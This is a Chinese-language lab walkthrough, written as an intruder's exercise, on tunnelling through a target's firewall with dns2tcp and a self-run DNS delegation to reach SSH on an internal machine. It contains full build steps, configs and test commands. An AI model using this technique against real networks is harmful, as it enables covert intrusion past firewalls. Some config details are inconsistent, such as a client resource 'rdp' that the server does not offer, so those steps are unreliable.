0x01 本次实验环境大致如下:1
2
3
4centos7_x64[heightlamp] 公网ip: 192.168.3.42 假设为入侵者自己的公网机器,即dns2tcp客户端
centos7_x64[heightlnmp] 公网ip: 192.168.3.41 内网ip: 192.168.32.123 假设为目标DMZ中的机器,有防火墙,即dns2tcp服务端
win2012r2en 公网ip: 192.168.3.123 假设为入侵者自己公网的dns服务器
centos6.8_x64[Midlnmp] 内网ip: 192.168.32.212 假设为目标内网中的一台linux机器
0x02 我们要实现的最终目的1
2
3
4正常情况下,我们本想通过heightlnmp机器来访问目标内网中Midlnmp的ssh,但苦于heightlamp和heightlamp之间的防火墙
且防火墙只允许真正的dns流量通过,所以,我们现在想通过在自己公网的dns服务器上做转发来绕过它们之间的防火墙
即在heightlamp和heightlnmp之间建立一层dns隧道,把要转发的端口数据都封装在dns流量里面进行穿透
最后实现的效果就是,当我访问heightlamp的某个指定端口,就可以直接访问到目标内网中的Midlnmp的ssh
0x03 首先,下载编译安装dns2tcp,注意,heightlamp,heightlnmp两台机器都要装上,因为就是要在它们之间建立DNS隧道,即一个作为客户端,一个作为服务端,当然,也有对应的win和rb版本,如果你弹回的是一个meterpreter的shell,也可以事先将dns2tcp模块加到msf中,然后绑定到指定的会话上1
2
3
4
5 wget http://www.hsc.fr/ressources/outils/dns2tcp/download/dns2tcp-0.5.2.tar.gz
tar xf dns2tcp-0.5.2.tar.gz
cd dns2tcp-0.5.2
./configure && make && make install
echo $?
0x04 dns2tcp安装没什么问题之后,我们开始去配置自己的dns服务器,这也是整个过程中最核心的地方,务必要好好理解
打开dns服务器配置,先创建一个名为klionsec.org
的正向区域,在此区域中新建一条指向heightlnmp机器名为setunnel
的A记录
之后在该域中再新建一个名为Nday
的子域,最后,在该子域中新建一条委派,将委派指向刚刚创建好的A记录,即,sec.nday.klionsec.org
,如下
然后,分别到heightlamp和heightlnmp机器上把下面的解析指向添加本地dns配置中,说白点就是让win2012r2en这台机器为我们解析域名1
2# vi /etc/resolv.conf
nameserver 192.168.3.123 指定本地的默认dns服务器为win2012r2en的ip
此时,分别到heightlnmp和heightlamp机器上去用nslookup跟踪下sec.nday.klionsec.org
的解析结果,看是不是都解析到了192.168.3.41上,两台机器解析必须正常,否则隧道是无法建立的
0x05 DNS 配置无误之后,我们回到heightlnmp机器上,开始配置dns隧道的服务端,如下
编辑dns2tcp服务端配置文件1
2
3
4
5
6
7
8
9# vi ./dns2tcpdrc.conf
listen = 0.0.0.0
port = 53
user= nobody
chroot = /tmp
pid_file = /var/run/dns2tcp.pid
domain = sec.nday.klionsec.org
key = klion
resources = ssh:192.168.32.212:22 这里端口可以换成你要转发的其它任何tcp端口,如,25,23,110,80...
启动服务端1
2 dns2tcpd -F -d 1 -f dns2tcpdrc.conf &
pkill dns2tcpd
0x06 此时,再回到heightlamp机器上,配置好dns隧道的客户端,如下
配置之前,我们先测下,看看和服务端能不能通1
# dns2tcpc -z sec.nday.klionsec.org -k klion
编辑dns2tcp客户端配置文件1
2
3
4
5
6# vi ./dns2tcpc.conf
domain = sec.nday.klionsec.org
resource = rdp
local_port = 1389
key = klion
debug_level = 1
启动客户端1
2 dns2tcpc -c -f dns2tcpc.conf &
pkill dns2tcpc
在heightlamp上连接本地的1389端口,看看能不能连到Midlnmp的22端口上,很明显,如下图,已经成功连上去了1
# ssh root@127.0.0.1 -p 1389
在heightlamp上观察下经过的dns流量,一目了然1
tcpdump -i ens33 port 53
小结:
看到这里,想必大家现在也理解的差不多了,在深刻理解了整个运作流程之后,利用dns隧道进行端口转发,其实就这么简单,确实也是个烂大街的把戏了,不过,碰到一些特别恶劣的环境,还是非常值得一试的,与其说是DNS隧道,不如说是udp隧道,相对更确切些,因为DNS的请求响应默认走的是udp的53端口,另外,有些朋友可能还有些误解,认为只要是53端口就一定跑的是dns服务,就像大家普遍认为的只要是80端口跑的就一定是web服务一样,其实不然,我们区分不同的服务,并非根据端口,而是根据不同服务所使用的协议报文格式来决定的,隧道的意思其实也就是按照指定的协议对数据进行重新封装,当然,除了端口转发,还有各种基于DNS隧道通信的远控,如,典型的Cobalt strike等…至于利用dns log进行sql注入,执行代码,可能大家也都比较熟练了,这里就不细说了